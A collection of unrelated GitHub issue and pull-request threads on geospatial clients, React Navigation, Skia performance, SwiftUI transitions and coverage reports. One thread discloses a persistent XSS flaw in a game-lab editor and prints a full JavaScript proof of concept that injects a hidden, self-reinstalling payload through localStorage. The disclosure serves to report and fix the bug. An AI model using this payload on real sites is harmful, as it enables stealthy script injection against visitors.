I'll see how things play out - there's a distinct possibility that I might skip v4 completely wait till v5.
Let's see! 😄
But, if any volunteers would like to work on v4 branches of those utilities, please do!


added some tests for services without filters or boundingboxes (issue #675)

added some tests to avoid crash from issue #675
allowing services who dont provide filters or boundingboxes
ex : https://data.strasbourg.eu/api/wfs

@tomkralidis ok to merge?

found one more issue with data.strasbourg.eu... there are some datasets
listed with no schema.
these are clearly bad datasets but OSWlib should not crash
so i added one more test to the _construct_schema function
so this datasets are nicely ignored.
Le lun. 20 avr. 2020 à 10:18, MacPingu<EMAIL_ADDRESS>a écrit :

@tomkralidis https://github.com/tomkralidis ok to merge?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/geopython/OWSLib/pull/676#issuecomment-616388197, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AECSGH2A37ONQ7YTT62NMALRNQAMNANCNFSM4MFILN7A
.

+1

@klix2 Could you please fix pep8? Tests are failing:
$ flake8 owslib

fixed
Le lun. 20 avr. 2020 à 14:08, MacPingu<EMAIL_ADDRESS>a écrit :

@klix2 https://github.com/klix2 Could you please fix pep8? Tests are
failing:
$ flake8 owslib
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/geopython/OWSLib/pull/676#issuecomment-616510602, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AECSGH7ROI7JHEKHWNIO6STRNQ3LXANCNFSM4MFILN7A
.

@klix2 thanks :) merged.


Support photo messages

It would be great to support "photo" messages. The library currently supports "document", but it is not able to process a message such as the following one, when you send a photo to the bot. Thanks for your time building this lib, Tolentino.
{
  "ok": true,
  "result": [
    {
      "update_id": 123,
      "message": {
        "message_id": 29,
        "from": {
          "id": 123,
          "is_bot": false,
          "first_name": "XXX",
          "username": "xxx",
          "language_code": "en"
        },
        "chat": {
          "id": 1234,
          "first_name": "XXX",
          "username": "xxx",
          "type": "private"
        },
        "date":<PHONE_NUMBER>,
        "photo": [
          {
            "file_id": "AgAredactedBA",
            "file_unique_id": "AQredactedB4",
            "file_size": 1739,
            "width": 64,
            "height": 90
          },
          {
            "file_id": "AgAredactedjBA",
            "file_unique_id": "AQredactedFB-",
            "file_size": 172225,
            "width": 909,
            "height": 1280
          }
        ]
      }
    }
  ]
}

Hi @palmerabollo
No, the library currently support only images. Document and other binary types is still in development.
Check the examples sendPhoto.ino or the examples specific for ESP32-CAM if you have one of this board.


Bail if self does not exist

Exit out of attempting to polyfill when self does not exist.

Context: We're prerendering React components on the server. While fetch won't actually be executed, it throws an error because it's looking for self, which does not exist in the server environment.
This is not an attempt to make it run in node, but to make it return without throwing an error.

Please use the workaround suggested in https://github.com/github/fetch/issues/125#issuecomment-94266403

The workaround doesn't apply with ES6's import (because it needs to be at the top level).

Is there any way you could prevent specific client-side JS libraries to load on the server?

Closing as stale.


brain lesion

If this is a request for a new term, please provide us with the following information.

Preferred term label (e.g., asplenia)

brain lesion

Synonyms (e.g., absent spleen)

cerebral lesion

Textual definition (the definition should be understandable even for non-specialists. Include a PubMed ID or URL(s) to refer to any relevant article(s) that provides information about the suggested term).

focal pathological changes characterized by alteration in the size, shape and organization of the cellular components of the brain tissue

Any additional notes to clarify the meaning or use of the term. Please provide a PubMed ID or URL(s) for the source of this information.

https://jamanetwork.com/journals/jamaneurology/fullarticle/776636
DOI: 10.1001/archneur.57.6.869

Suggested parent term (Please look in the hierarchy of the MP using the MP Browser or other browsers such as OLS and find the place in the MP where the new term best fits)

abnormal brain morphology

If you would like a nanoattribution, please indicate your ORCID id or provide a label such as MGI:sbello (organization, first initial-last name)

https://orcid.org/0000-0003-2307-1226

MP:0021002


Support l10n

We have had a number of requests to localise the app. We should look into the cost of doing this.
An option would be to use http://airbnb.io/polyglot.js/
Current requests:

Portuguese (Mozambique)

Spanish

isiXhosa

[x] mechanism to load localisations (js/L10N.js)

[ ] allow the user to change their language, update the UI when that happens

[ ] get localisations

[ ] localise dates/times

We're tracking this in the https://github.com/Code4SA/pocketreporter/tree/l10n branch

Topics and questions will be translated based on keys:

topic-1
topic-1.question-5

Most other phrases  will be translated using the english as the key

We should probably have a script to put together a spreadsheet of translations, based on the 'en-za' translation in L10N.js, so that it's easier to source translations. Dealing with a .json file is awkward.


Add options to view NFT's in a list or (sortable) table

Especially when dealing with many NFT's, Ordinals and Stamps in a wallet it can help to have an option to display them in a list rather than thumbnails.
Originally suggested by Nick from Gamma.

I believe @mica000 has already started playing out with list vs. grid display controls


🚀 | Control Phonieboxh through buttons on Bluetooth headset

Feature Description
What functionality would you like to see in your phoniebox?
Many Bluetooth headsets have buttons to control play/pause, next track, previous track. Let's make them usable to control the Phoniebox like GPIO control buttons (if a headset is connected via Bluetooth)
How do you envision the feature to work from a users perspective?
The user can connect the Bluetooth headset to the Phoniebox and without further interaction, use the Buttons on the Headset to control the playback.
Further information that might help
A corresponding script is already coded and works flawlessly on my Phoniebox. Now, I'd like to share it. It runs as service, checking for the Bluetooth device connection. Upon button press of connected BT device, it reacts on the event and calls playout_controls.sh.
During installation, a little bit of customization to each specific headset is most likely necessary by the user (for mapping key codes to desired actions). With a corresponding readme, that is no problem and is in the best spirit of enabling people to tinker with things. An install script can also be helpful to set up the service.
I'd love to hear your thoughts.
Together with my other feature proposal https://github.com/MiczFlor/RPi-Jukebox-RFID/issues/1192, I could put both into a folder 'components/bt-headphones'

I think many users would love that.
Please open a PR with your working implementation.
I would suggest to use the path components/control/bt-headphones

Happy to oblige. However, I am currently not seeing this folder structure, but ./components/gpio_control. Is this something you are going to change?

Please add the subdirectory control, doesn’t exist yet.

The real testing only started after my daughter unwrapped her Christmas present. I had to fix a few small issues. Now, I will go ahead and prepare the pull request. Sorry for the delay.

The real testing only started after my daughter unwrapped her Christmas present. I had to fix a few small issues. Now, I will go ahead and prepare the pull request. Sorry for the delay.


Do not install additional LICENSE.rst

For me v4.0.0 installs LICENSE.rst directly into site-packages directory. There is already LICENSE.rst in site-packages/pytest_isort-4.0.0.dist-info/LICENSE.rst. This patch solves the issue:
--- pyproject.toml.orig	2024-04-12 09:55:54.110167676 +0000
+++ pyproject.toml
@@ -26,7 +26,6 @@ classifiers = [
 	"Framework :: Pytest",
 ]
 packages = [{ include = "pytest_isort" }]
-include = ["LICENSE.rst"]

 [tool.poetry.plugins.pytest11]
 isort = "pytest_isort"

Thank you for the hint, committed a change. Next release will include the fix.


oopsy: add shareWarn/shareFail helpers

Fixes #1488.

23 files changed, 140 insertions(+), 663 deletions(-)
cc @JLGarber

Ahh, that is so good. Can't wait to use it!


WinAppDriver record video

Hi,
How do I record a video of my winappdriver tests? None of the appium screen recording apis are supported.
Thanks,
Rahul

No, its not supported, I created my custom recorder and recording the tests? You can implement desktop recorder as part of your framework.

We did this using MSTestv2, by extending the TestClass.

Hi @RahulDixit2021 I haven't tried this feature myself but Appium indeed support video recording. Please refer: https://github.com/appium/appium-windows-driver

@RahulDixit2021
What is language binding are you using?
E.g. You can use one of the tools:

Use *.runsettings file for running tests with enabled video recording https://docs.microsoft.com/en-us/visualstudio/test/configure-unit-tests-by-using-a-dot-runsettings-file?view=vs-2019#videorecorder-data-collector
Custom recording

https://stackoverflow.com/questions/57424616/how-to-record-test-execution-using-selenium-c-sharp-in-netcore
https://medium.com/maestral-solutions/setup-automation-test-screen-recorder-with-selenium-webdriver-and-c-aee8b6d1ba9b


About the checkpoint for these baseline

Thanks for sharing your wonderful work.
I am wondering that will you release the trained checkpoints of the state-change-object-detection-baselines? Thanks for your time, have a nice day.

@dimadamen are you aware of the answer for the question above? who is the best point of contact for that?
The EPIC-team IMHO has done a great work in terms on running challenges. You provide lots of stuff to ease participation.
P.D. I know that names has been mentioned in the long arxiv paper about EGO-4D. But, it was an opportunity to highlight the work of your team :)

There are multiple POC for various baselines @escorciav Things will be released slowly as the team catches up with priorities I'm sure.

@NNNNAI I guess the baseline makes little sense now. Instead, we gotta stay tuned to discover who is the "Red Panda" , and what's behind his submission  :wink:
https://eval.ai/web/challenges/challenge-page/1632/leaderboard/3930/AP

I hope "Red Panda" release all the secret sauces. Code & pre-trained-model. If so, I would not waste my time running any baseline considering that the performance gap is +22 AP points!!!


feat: LSDV-3896: Stacking panels full

PR fulfills these requirements

[X] Commit message(s) and PR title follows the format [fix|feat|ci|chore|doc]: TICKET-ID: Short description of change made ex. fix: DEV-XXXX: Removed inconsistent code usage causing intermittent errors
[x] Tests for the changes have been added/updated (for bug fixes/features)
[ ] Docs have been added/updated (for bug fixes/features)
[X] Best efforts were made to ensure docs/code are concise and coherent (checked for spelling/grammatical errors, commented out code, debug logs etc.)
[X] Self-reviewed and ran all changes on a local instance (for bug fixes/features)

Change has impacts in these area(s)
(check all that apply)

[X] Product design
[X] Frontend

Describe the reason for change
New Design for panels with draggable tabs.
What does this fix?
(if this is a bug fix)
What is the new behavior?
Panels can have tabs, tabs can drag between panels, panels collapse, snap reorder resize and stack left and right
What is the current behavior?
Currently there are only panels on the sides that can be drug out and put back but only one per side
What libraries were added/updated?
N/A
Does this change affect performance?
No
Does this change affect security?
No
What alternative approaches were there?
N/A
What feature flags were used to cover this change?
fflag_feat_front_dev_3873_labeling_ui_improvements_short
Does this PR introduce a breaking change?
(check only one)

[ ] Yes, and covered entirely by feature flag(s)
[ ] Yes, and covered partially by feature flag(s)
[X] No
[ ] Not sure (briefly explain the situation below)

What level of testing was included in the change?
(check all that apply)

[ ] e2e
[ ] integration
[X] unit

Which logical domain(s) does this change affect?
This affects annotations & review for all user types

Codecov Report
Patch coverage: 22.15% and project coverage change: -1.19 :warning:

Comparison is base (cdc27bd) 65.35% compared to head (dacf0e2) 64.16%.

Additional details and impacted files
@@            Coverage Diff             @@
##           master    #1275      +/-   ##
==========================================
- Coverage   65.35%   64.16%   -1.19%
==========================================
  Files         411      416       +5
  Lines       25583    26288     +705
  Branches     6592     6795     +203
==========================================
+ Hits        16719    16867     +148
- Misses       8864     9421     +557

Impacted Files
Coverage Δ

...omponents/AnnotationsCarousel/AnnotationButton.tsx
67.69% <ø> (ø)

src/components/SidePanels/PanelBase.tsx
97.54% <ø> (ø)

.../components/SidePanels/TabPanels/PanelTabsBase.tsx
1.34% <1.34%> (ø)

...components/SidePanels/TabPanels/SideTabsPanels.tsx
1.39% <1.39%> (ø)

src/components/SidePanels/TabPanels/Tabs.tsx
5.15% <5.15%> (ø)

...ponents/SidePanels/OutlinerPanel/OutlinerPanel.tsx
46.42% <14.28%> (-32.15%)
:arrow_down:

...omponents/SidePanels/DetailsPanel/DetailsPanel.tsx
66.03% <40.00%> (-23.25%)
:arrow_down:

src/components/SidePanels/SidePanels.tsx
93.60% <52.94%> (-4.51%)
:arrow_down:

src/components/App/App.js
66.26% <57.14%> (-2.09%)
:arrow_down:

src/components/SidePanels/TabPanels/utils.ts
64.51% <64.51%> (ø)

... and 2 more

... and 1 file with indirect coverage changes
Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


[feat] Omit argument-less methods

Describe the problem
Methods like center() or data_directory() that accept no parameters lead to very verbose code when those methods need to be called conditionally, for example in a function that receives whether or not the window should be centered. Especially if multiple of such methods need to be called conditionally it leads to a combinatorial explosion of repeating code.
Describe the solution you'd like
If there is no strong reason against it I would prefer them to take always at least either an Option<> or a bool so that conditional calls to those methods can be made with one single call to WindowBuilder (or potentially other structs with the similar issue) and tauri interprets a None or a false internally as intent to omit the method call.
Alternatives considered
I don't really see an alternative to this.
Additional context
No response

I have to correct myself in that the verbosity is not as bad as I initially thought since one can create "intermediate" instances of the WindowBuilder like so
let builder = WindowBuilder::new( ... );
let builder = match centered {
    true => builder.center(),
    false => builder,
};
let builder = match local_storage_path {
    Some(p) => builder.data_directory(p),
    None => builder
};

builder.build()?;

But it's still way less ergonomic than just passing an Option/bool.


Generic SSL Interface

This allows for the SSL Context to be created by the end developer. (Built to allow custom SNI handling.)

Travis is failing because I didn't commit a dependency to openssl in Cargo.toml, but use it in the code. That may need to be refactored out, or the HTTPS server moved somewhere else?

Also, I'll eventually squash all of this, or rewrite some of the commit messages. I just realized my first one is non-informative.

Do we still want this?

Yes!

Closing because stale, but please feel free to make a new PR with updated code!

I was coming back to this, but it looks like there is now a way to pass in a TLS server to handle the TLS-bits.


XSS (+persistence) without user interaction

PoC. Unminified payload:
(function(){
	let cm = document.querySelector("codemirror-js");
	let { from, to } = cm.view.state.doc.line(1);
	cm.view.dispatch({ changes: { from, to: to + 1 }});
	let saved = "hc-game-lab" in localStorage ? JSON.parse(localStorage["hc-game-lab"]) : {
		/* base64-encoded default program code, with an extra line at the beginning */
		prog: atob("LypjaGFuZ2UgbWUqLwpjb25zdCBjYW52YXMgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZ2FtZS1jYW52YXMiKTsKCmNvbnN0IGUgPSBjcmVhdGVFbmdpbmUoY2FudmFzLCAzMDAsIDMwMCk7CgoKZS5hZGQoewoJdGFnczogWyJwbGF5ZXIiXSwKCXNvbGlkOiB0cnVlLAoJeDogNTAsCgl5OiA1MCwKCS8vIHNwcml0ZTogc3ByaXRlX2plYiwKCS8vIHNjYWxlOiAyLAoJdXBkYXRlKG9iaikgewoJCW9iai5yb3RhdGlvbiArPSAwLjAxOTsKCQlpZiAoZS5oZWxkS2V5KCJBcnJvd0xlZnQiKSkgb2JqLnggLT0gMzsKCQlpZiAoZS5oZWxkS2V5KCJBcnJvd1JpZ2h0IikpIG9iai54ICs9IDM7Cgl9LAp9KQoKZS5zdGFydCgpOw=="),
		sprites: [],
	};
	function persistentPayload() {
		let cm = document.querySelector("codemirror-js");
		let { from, to } = cm.view.state.doc.line(1);
		cm.view.dispatch({ changes: { from, to: to + 1 }});
		alert("persistent payload ;-)");
	}
	let payload_ = /{(.*)}/.exec(persistentPayload.toString())[1];
	let payload = "(function(){" + payload_ + "})();\n";
	saved.prog = saved.prog.replace(/.*\n/, payload);
	localStorage["hc-game-lab"] = JSON.stringify(saved);
	alert("pwned and installed a persistent payload. good luck trying to find me ;-)");
})();

The minified version of this was added to a game-lab and then a link was created. It turns out that the code runs as soon as the link is visited, so we can also be stealthy and hide the payload from the user (as the PoC above does.)

woah ani this rocks

Changed back to XSS because this can be embedded in an iframe to effectively have a zero-click exploit.

This should be a relatively easy fix because we're already using dispatch to call all of the event functions.

users have to interact ;)


Add direct conversions between the Lexicon integer types and primitives

These are necessary to get usable numeric values out of the parsed bounded types.

LGTM.


Monitoring API

This initial version of the monitoring client for Datalab allows users
to query timeseries data. It introduces a new module under gcp that
users can import using:
from gcp.stackdriver import monitoring

Querying timeseries data:
There is a Query class that allows users to query timeseries data
for their monitored resources. They can initialize the query by specifying a
metric type and time interval, and refine it by adding filters to it.
The timeseries data is returned as a pandas DataFrame that allows users
to further manipulate the data and visualize it within Datalab.
IPython magics:
There are a couple of IPython magic commands to allow users to list
details of the available metrics and resource types. E.g.:
%%monitoring list metrics

The base library:
The _impl directory is a snapshot of an earlier version of a
monitoring client library that we have submitted to gcloud-python:
https://github.com/GoogleCloudPlatform/gcloud-python/pull/1691
It works as the base library on top of which the Datalab library adds
interactive features.
The authors of this code are @rimey and myself, both at Google.

The changes in this pull request have been made part of a new datalab branch: feature/stackdriver_monitoring:
https://github.com/GoogleCloudPlatform/datalab/tree/feature/stackdriver_monitoring


this.props.navigation.setParams resulting in infinite loop

Current Behavior
Running this.props.navigation.setParams in componentDidMount results in an infinite loop for 1.0.0-beta.13, currently using a Tabnavigator, when this tab is the 1st opened there is an infinite loop, if it's the second (hidden) tab then the background render completes with no issues.
Expected Behavior
Running this.props.navigation.setParams should not result in an infinite loop.

@tehwayne can you share the code sample to reproduce this?

Yep, hopefully this is clear enough and lmk if you need more info. New to all of this, so hopefully I'm doing it correctly! Thanks for taking a look!
In my header:
const Header = {
  getHeader: (navigation) => {
    return {
      headerTitle: ('Groups'),
      headerRight: (
        <TouchableOpacity onPress={() => navigation.state.params.profileMenuClick()}>
          <View style={{ marginRight: 13 }}>
            <Icon
              name="person"
              type="material"
              color="black"
              style={{ padding: 2 }}
              size={26}
            />
          </View>
        </TouchableOpacity>
      ),
    };
  },
};

and then in the parent component:
static navigationOptions = ({ navigation }) => Header.getHeader(navigation);
  componentDidMount() {
    this.props.navigation.setParams({
      profileMenuClick: this.profileMenuClick,
    });
  }

Oh also, sorry I didn't see/respond before, this is current occurring on iOS simulator (iOS 11), I can update when I get a chance to test on device if that would help

It happens on me in an android device. Hoping for the solution.

From a first look, I think this may be related to what profileMenuClick do.
Probably the easiest way to better understand would be to see the code in that method. I'm concerned that it changes some props that then triggers the re-render of the screen/header in which is contained.
The "rough way" to debug this issue would be to do a couple things.

write the Header this way:

const Header = {
  getHeader: (navigation) => {
    console.log('getting called with this param',navigation.state.params.profileMenuClick );
    return {
      headerTitle: ('Groups'),
      headerRight: (
        <TouchableOpacity onPress={() => navigation.state.params.profileMenuClick()}>
          <View style={{ marginRight: 13 }}>
            <Icon
              name="person"
              type="material"
              color="black"
              style={{ padding: 2 }}
              size={26}
            />
          </View>
        </TouchableOpacity>
      ),
    };
  },
};

To understand if the param is defined every time the header is created.

add a console.log inside the TouchableOpacity to better understand when it gets called:

        <TouchableOpacity onPress={() => {
            console.log('getting called by touch');
            navigation.state.params.profileMenuClick();
          }}>

trying to do the same thing inside profileMenuClick

Hi, sorry about the delayed response, I've since changed the code to just move the tabs around.
Before I had this for profileMenuClick
profileMenuClick = () => {
 console.log('click');
 this.showProfileModal();
 }

then
showProfileModal = () => {
 this.setState({ isProfileModalVisibile: true });
}

I believe that the code should work normally unless header code is re-rendering with each param change (my hypothesis) because I was using showProfileModal without any issues in other parts of the main view/non-header component.

@tehwayne have you tried to do what I suggested in my last comment?
I think too that something in your code is forcing the header to re-render constantly, but I don't believe it's caused by the library itself.

It worked for me:

componentDidMount() {
        InteractionManager.runAfterInteractions(() => {
            this.props.navigation.setParams({ kindOfList: 'grid' });
        });
    }

Hey @kelset, thanks for taking a look again! I did what you suggested and when I run the code "getting called with this param" is the only log that appears. It looks like the header keeps getting re-rendered when I set a function into the params for a Tabnavigator, when the Tab with the params is in the front.
The code in profileClick never gets called (log('click')) and even when I remove all code the infinite loop still occurs.
Am I perhaps using params incorrectly which results in it being re-rendered? Is it not meant to be used with functions? I do have it working with other navigator situations, just not this one.
@raulclaudino, was this with a Tabnavigator and a function? I don't encounter this issue without a Tabnavigator with params being set with the Tab as the 1st tab in the view and the params being a function.

Possibly related https://github.com/react-community/react-navigation/issues/2931

in tab navigator: https://snack.expo.io/ryKg7lKUz
in stack navigator: https://snack.expo.io/SklGQeYIM
cannot repro this. please create a new issue with an executable piece of code (preferably on snack, as I shared above) or in a github repository (minimal, without a bunch of other stuff in it) that I can clone and run

Check that you have no duplicate route keys. This symptom can appear in those situations.

@youngjuning  React Native API, I think this issue should be closed.  Use react-native 2.x is working.

I still having this issue in 2.18.2 🤨

I still having this issue in 3.3.2

this should be resolved. if it is not working as expected still on the latest version, please create a new issue with a runnable example on https://snack.expo.io -- thanks!


fix(modal): increment display time

Codecov Report

Merging #1301 (de07845) into master (b00a996) will not change coverage.
The diff coverage is 100.00%.

@@           Coverage Diff           @@
##           master    #1301   +/-   ##
=======================================
  Coverage   80.69%   80.69%
=======================================
  Files         121      121
  Lines        3077     3077
  Branches      410      410
=======================================
  Hits         2483     2483
  Misses        589      589
  Partials        5        5

Impacted Files
Coverage Δ

src/util/notification/notifications-util.ts
100.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update b00a996...de07845. Read the comment docs.

@mehdilouraoui up


Request: when hovering over datapoint, can it display the measurement name?

When looking at a big dataset, it is tough to tell which curve corresponds to which data set.
Would it be possible to make it so that when you hover over a data point, it shows the name of that measurement?

Yes, that should be possible and easy to implement.
For the moment, you could also expand the section "Averages / Measurements" and compare the colors.

Okay, planned for next release.

Wonderful. Thanks
On Fri, Sep 23, 2022 at 6:00 AM Michael Röttger @.***>
wrote:

Okay, planned for next release.
—
Reply to this email directly, view it on GitHub
https://github.com/ContactEngineering/TopoBank/issues/893#issuecomment-1256017217,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AFOUYWVLM6RMRCH2TZJ6SU3V7V5S5ANCNFSM6AAAAAAQQC2OCI
.
You are receiving this because you authored the thread.Message ID:
@.***>

--
Tevis Jacobs
Mechanical Engineering and Materials Science
University of Pittsburgh
[Sent from my phone. Please forgive typos.]


UI thread drop on RN 0.71 and Skia 0.1.173

Description
I have a project 'RNChallenge' with skia. i use Color Matrix and Image of skia to create color filter.
When i update version of React Native and Skia to latest, my UI thread drop.
U can see video below
Before:

After:
https://user-images.githubusercontent.com/43195241/219542133-9f662870-a134-497d-b2b7-e8e04478f2f9.mp4
Note: u can clone my repo to try it: RNChallengeV3
Version
0.1.173
Steps to reproduce
Upgrate react native from 0.68.2 to 0.71.3 and react native skia from 0.1.155 to 0.1.173
Snack, code example, screenshot, or link to a repository
https://github.com/MasonLe2497/RNChallengeV3

After measuring this I found the decoding of the JPEG image of the cat to be the big hotspot in the code:

I know that in 0.1.159 we introduced a native implementation of the DOM that renders Skia, 0.1.173 contains a lot of improvements to the native dom, so I believe this to be a regression where something feels a bit slower when run in the native dom from release 0.1.159.
We've gone to great lengths to make sure we don't add any regressions with the native implementation of the DOM so this is something we're really interested in trying to solve.
The biggest change after we introduced the native dom was (except for the fact that it was rewritten in C++) was that we switched rendering from being done on a combination of the JS thread and a custom render thread that handled GPU stuff to render directly on the UI thread.
I'll also look into if this change unfortunately changed so that images are uploaded more often to the GPU.

I think so.

I did some more investigation, and it doesn't necessarily upload images more often to the GPU - just that we might "disrupt" the main thread a bit more when doing this on the UI Thread - so we'll have to look into loading images a bit more here.

I found a discussion about these things on Skia Discuss - pasting it here for reference: https://groups.google.com/g/skia-discuss/c/Vusm5na4Ygs/m/t7zsinI8DAAJ

possible duplicate #621

@MasonLe2497 - after a lot of investigation and tests I think I've landed on an explanation and a simple fix for your app.
Reason/Explanation
The problem is that in Skia images are uploaded to the GPU as textures when they're rendered. This mechanism keeps track of the number of bytes allocated for image textures and invalidates the oldest texture if the cache limit is hit.
The reason this is a regression with the new native dom renderer is that in the old renderer we used a separate thread for rendering, while in the new native renderer we use the UI thread to render. This causes the above cache invalidation strategy to be both CPU and GPU intensive since textures are constantly being evicted and re-uploaded to the GPU. This was not visible when rendering on a separate thread since we never put any pressure on the UI Thread.
Suggested fix
A simple fix for you would be to use the same SkImage for all your components (move useImage(images.cat) to the index.tsx file) - then only one texture will be uploaded and used and your UX will be super smooth (I've tested this in your example).
More info (for later reference)
I've done a few tests to see if we can avoid this cache problem. An SkImage can be explicitly uploaded as a texture bypassing the cache by calling makeTextureImage on the SkImage.
There are a few problems related to this. A textureImage needs a GPU context / backend to render - so the SkImage will no longer be usable outside the Skia context. Another problem with this is that we need to be on the main thread when making texture images to ensure they are bound to the correct Skia context. Doing this will unfortunately also cause some stuttering on the UI Thread that we cannot allow.
A texture backed image also does no longer contain a reference to its underlying data, meaning that we cannot easily convert it to other formats like doing base64 encoding on the image.
A better solution is to make sure we understand the size of the cache (why its there and when it is ok to enlarge it) and then add support for setting/getting this value from the system.

@MasonLe2497 Did the above suggestions work?

This should be ok to close right? Please reopen it if I'm having the wrong assumption here.


Add Windows wheel build for x86_64 platform

Addresses #763

#763

This PR builds the wheel for Windows (only for amd64) if the current arch is x86_64, by updating build_wheel.sh.
Since CI is building the wheel with multiple configurations, it is currently generating the same Windows wheel for both Python 3.10 and 3.11 (resulting in four identical Windows wheels for both cucim-cu11 and cucim-cu12 PyPI registry).
Currently, there is no way to determine if the build is using the latest available Python version from build_wheel.sh. It can be controlled by updating the CI workflow, but we'll need help from the DevOps team.

The Windows wheel size is around 700KB, and hopefully, the redundant wheel files across multiple configurations won't cause any issues when registering them to PyPI from the S3 location (such as this).

I can see windows wheels are available here: https://downloads.rapids.ai/ci/cucim/pull-request/765/2ec710e/

Thanks @gigony,
I downloaded the Python 3.10 artifacts from the link you provided and installed the cucim_cu12-24.10.0a9-py3-none-win_amd64.whl in a Python 3.10 environment on a Windows 11 system with an RTX A3000 GPU and CUDA Toolkit 12.6 installed.
I used a Python 3.10 conda environment with NumPy 1.26.4 and  CuPy 13.3.0 (cupy_cuda12x installed via pip). This was in native Windows 11 (not WSL). I ran the test suites for cucim.core and cucim.skimage and almost all test cases pass.
The only failures were in a small number of tests internal 2D separable filtering kernels that are not part of CuPy. I will make a separate MR to disable using these cuCIM kernels on Windows and always fall back to the default CuPy elementwise kernels on Windows.


UI freezing on iOS 17 device

Hi @davdroman, thanks so much for making this library.
Recently, I bumped into a strange issue which is 100% reproducible on iOS 17 device (not simulator)
Reproducible setup within Demo app

Use default transition and pan interactive gesture
PageOne has navigation bar visible, while PageTwo has navigation bar hidden

Reproduce steps
From PageOne, go to PageTwo then using pan gesture to go back to PageOne, then tap Show me! button again.
The UI will hang forever
You can check out my branch for the demo: https://github.com/muzix/swiftui-navigation-transitions/tree/muzix/freezing-issue-ios-17
Investigating
I think this is a SwiftUI bug. But I found that adding setNavigationBarHidden(false, animated: true|false) into NavigationTransitionDelegate somehow fixed this issue.
func navigationController(_ navigationController: UINavigationController, willShow viewController: UIViewController, animated: Bool) {
        navigationController.setNavigationBarHidden(false, animated: true)
        initialAreAnimationsEnabled = UIView.areAnimationsEnabled
	UIView.setAnimationsEnabled(transition.animation != nil)
	baseDelegate?.navigationController?(navigationController, willShow: viewController, animated: animated)
}

But it has another side effect which make navigation bar blinking when transitioning between screens with hidden nav bar.

Thank you for the comprehensive report. I'll look into this as soon as I can.

Sorry for the delay. Still looking into this. Very weird indeed, most definitely a SwiftUI bug that's hidden by the fact that one can't swipe back when nav bars are hidden.
Your solution does work, somehow, so I'm going to apply it selectively on iOS 17 and write some regression UI tests in order to have our bases covered for when iOS 18 comes around. Currently quite busy so this will take me until sometime next week, but feel free to do it yourself and PR it if you feel like it. My current working branch is https://github.com/davdroman/swiftui-navigation-transitions/tree/fix/freezing-ios-17.

Hi @davdroman Thanks for your time. I found that my one-line fixed the issue at first but then it introduced another problem.
navigationController.setNavigationBarHidden(false, animated: true)

The problem is in this context, we don't know if the target view controller needs a hidden navigation bar or not.
So if we go back and forth between screen A (not hidden) and screen B (hidden bar), or even more screens involved, the navigation bar visibility will be messed up. Even freezing happens when the visibility doesn't match what we declared in SwiftUI view.
In my project, I workaround this issue by not patching the library, but using a delegate instead
.navigationTransition(.default, interactivity: panNavigationState.isPanEnabled ? .pan : .disabled)
        .introspectNavigationController { navigationController in
            if #available(iOS 17, *) {
                navigationController.delegate = NavigationControllerBaseDelegate.shared
            }
        }

class NavigationControllerBaseDelegate: NSObject, UINavigationControllerDelegate {
    static let shared = NavigationControllerBaseDelegate()

    func navigationController(_ navigationController: UINavigationController, willShow viewController: UIViewController, animated: Bool) {
        navigationController.setNavigationBarHidden(viewController.isNavBarHidden, animated: true)
    }
}

isNavBarHidden is the property I injected into the underlying UIViewController of the SwiftUI view, where I set the navigation bar visibility
.navigationBarHidden(true)
.introspectViewController { viewController in
      viewController.isNavBarHidden = true
}

Quite a lot of weird code but the solution is working fine so far in my project. So I think maybe better not to introduce the one-line fix into the library (and we also rarely have the navigation bar visibility varying between screens? 🫠)

So I think maybe better not to introduce the one-line fix into the library (and we also rarely have the navigation bar visibility varying between screens? 🫠)

I concur. If anyone else raises this issue, now we have somewhere to direct them for answers.
I guess I'll be closing this now. Thank you for your research 🤝


[SP-4203][BACKLOG-22072] DET / DataServices not working with Stream L…

…ookup step

Build Completed
:fire: This pull request has some issues. It would be preferable to fix them in order for it to be just perfect. See below for more details. Some links are also available below for further assistance in addressing those issues.
Build Commands
ant -Dtestreports.dir=bin/reports/unit-test -f engine/build.xml clean-all resolve jacoco && ant -f engine/build.xml checkstyle publish-local

Cleanup Commands
rm -r ~/.ivy2/local || echo no publish local to remove

Changed files
  engine/src/org/pentaho/di/trans/TransMeta.java
  engine/test-src/org/pentaho/di/trans/TransMetaTest.java

Unit Test Coverage
These statistics help you identify how your changes have affected the coverage of the following files. If a file is not in this list, then its coverage was not affected by your changes. To get some help interpreting these metrics, please refer to Jacoco's documentation.

:warning: Coverage Changes: <0.1% (click to expand)
org.pentaho.di.job.entries.evaluatetablecontent.JobEntryEvalTableContent

Branch Change: -1% :small_red_triangle_down:
Complexity Change: -1% :small_red_triangle_down:
Instruction Change: -0.2% :small_red_triangle_down:

org.pentaho.di.job.entries.getpop.MailConnectionMeta

Branch Change: -1% :small_red_triangle_down:
Complexity Change: -1.5% :small_red_triangle_down:
Instruction Change: -0.3% :small_red_triangle_down:

org.pentaho.di.trans.step.StepMeta

Branch Change: -0.7% :small_red_triangle_down:
Complexity Change: -0.6% :small_red_triangle_down:
Instruction Change: -0.2% :small_red_triangle_down:
Line Change: -0.2% :small_red_triangle_down:

org.pentaho.di.trans.steps.datagrid.DataGridMeta

Instruction Change: -0.1% :small_red_triangle_down:

org.pentaho.di.trans.steps.dimensionlookup.DimensionLookupMeta

Branch Change: -1.2% :small_red_triangle_down:
Complexity Change: -0.7% :small_red_triangle_down:
Instruction Change: -0.3% :small_red_triangle_down:

org.pentaho.di.trans.steps.insertupdate.InsertUpdateMeta

Instruction Change: -0.1% :small_red_triangle_down:

org.pentaho.di.trans.steps.replacestring.ReplaceStringMeta

Instruction Change: -0.1% :small_red_triangle_down:

org.pentaho.di.trans.steps.sortedmerge.SortedMergeMeta

Instruction Change: -0.2% :small_red_triangle_down:

org.pentaho.di.trans.steps.systemdata.SystemDataMeta

Branch Change: -2% :small_red_triangle_down:
